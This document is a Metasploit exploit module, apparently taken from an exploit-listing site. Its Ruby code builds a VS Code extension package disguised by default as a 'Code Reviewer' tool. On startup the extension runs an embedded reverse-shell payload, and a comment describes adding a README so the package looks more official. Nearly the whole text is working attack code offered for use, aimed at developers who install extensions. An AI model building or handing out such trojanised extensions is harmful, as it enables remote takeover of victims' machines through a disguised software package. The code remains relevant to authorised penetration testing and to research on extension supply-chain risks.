Share
## https://sploitus.com/exploit?id=PACKETSTORM:178225
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Visual Studio vsix Extension Exec',  
'Description' => %q{  
Creates a vsix file which can be installed in Visual Studio Code as an extension.  
At activation/install, the extension will execute a shell or two.  
  
Tested against VSCode 1.87.2 on Ubuntu 22.04  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die', # Metasploit module  
],  
'DefaultOptions' => {  
'EXITFUNC' => 'thread',  
'DisablePayloadHandler' => false,  
'FILENAME' => 'extension.vsix',  
'WfsDelay' => 3_600, # 1hr  
'payload' => 'nodejs/shell_reverse_tcp' # cross platform  
},  
'Platform' => 'nodejs',  
'Arch' => ARCH_NODEJS,  
'Targets' => [  
['Automatic', {}],  
],  
'References' => [  
['URL', 'https://medium.com/@VakninHai/the-hidden-risks-of-visual-studio-extensions-a-new-avenue-for-persistence-attacks-e56722c048f1'], # similar idea  
['URL', 'https://code.visualstudio.com/api/get-started/your-first-extension'],  
['URL', 'https://code.visualstudio.com/api/references/activation-events'] # onStartup Action  
],  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [ARTIFACTS_ON_DISK]  
},  
'Privileged' => false,  
'DisclosureDate' => '2024-03-22' # date of development  
)  
)  
  
register_options([  
OptString.new('NAME', [true, 'The name of the extension', 'Code Reviewer']),  
OptString.new('DESCRIPTION', [true, 'The description of the extension', 'Reviews code']),  
OptString.new('VERSION', [true, 'The version of the extension', '0.0.1']),  
OptString.new('README', [false, 'The readme contents for the extension', '']),  
])  
end  
  
def name  
datastore['NAME']  
end  
  
def description  
datastore['DESCRIPTION']  
end  
  
def version  
datastore['VERSION']  
end  
  
def readme  
datastore['README']  
end  
  
def manifest  
%(<?xml version="1.0" encoding="utf-8"?>  
<PackageManifest Version="2.0.0" xmlns="http://schemas.microsoft.com/developer/vsx-schema/2011" xmlns:d="http://schemas.microsoft.com/developer/vsx-schema-design/2011">  
<Metadata>  
<Identity Language="en-US" Id="extension-name-fillmein" Version="#{version}" Publisher="#{Rex::Text.rand_text_alpha(10)}" />  
<DisplayName>#{name}</DisplayName>  
<Description xml:space="preserve">#{description}</Description>  
<Tags></Tags>  
<GalleryFlags>Public</GalleryFlags>  
  
<Properties>  
<Property Id="Microsoft.VisualStudio.Code.Engine" Value="^1.60.0" />  
<Property Id="Microsoft.VisualStudio.Code.ExtensionDependencies" Value="" />  
<Property Id="Microsoft.VisualStudio.Code.ExtensionPack" Value="" />  
<Property Id="Microsoft.VisualStudio.Code.ExtensionKind" Value="workspace" />  
<Property Id="Microsoft.VisualStudio.Code.LocalizedLanguages" Value="" />  
<Property Id="Microsoft.VisualStudio.Services.GitHubFlavoredMarkdown" Value="true" />  
<Property Id="Microsoft.VisualStudio.Services.Content.Pricing" Value="Free"/>  
</Properties>  
</Metadata>  
<Installation>  
<InstallationTarget Id="Microsoft.VisualStudio.Code"/>  
</Installation>  
<Dependencies/>  
<Assets>  
<Asset Type="Microsoft.VisualStudio.Code.Manifest" Path="extension/package.json" Addressable="true" />  
</Assets>  
</PackageManifest>)  
end  
  
def extension_js  
%|const vscode = require('vscode');  
  
function activate(context) {  
#{payload.encoded}  
}  
  
function deactivate() {}  
  
module.exports = {  
activate,  
deactivate  
}  
|  
end  
  
def package_json  
%({  
"name": "#{name.gsub(' ', '.')}",  
"displayName": "#{name}",  
"description": "#{description}",  
"version": "#{version}",  
"publisher":"#{Rex::Text.rand_name}",  
"engines": {  
"vscode": "^1.60.0"  
},  
"activationEvents": ["onStartupFinished"],  
"main": "./extension.js",  
"devDependencies": {  
"@types/vscode": "^1.60.0"  
}  
}  
)  
end  
  
def exploit  
# Create malicious vsix (zip archive) containing our exploit  
files =  
[  
{ data: manifest, fname: 'extension.vsixmanifest' },  
{ data: extension_js, fname: 'extension/extension.js' },  
{ data: package_json, fname: 'extension/package.json' },  
{ data: readme, fname: 'extension/README.md' }, # not required, but looks a little more official  
]  
  
zip = Msf::Util::EXE.to_zip(files)  
  
file_create(zip)  
print_status('Waiting for shell')  
end  
end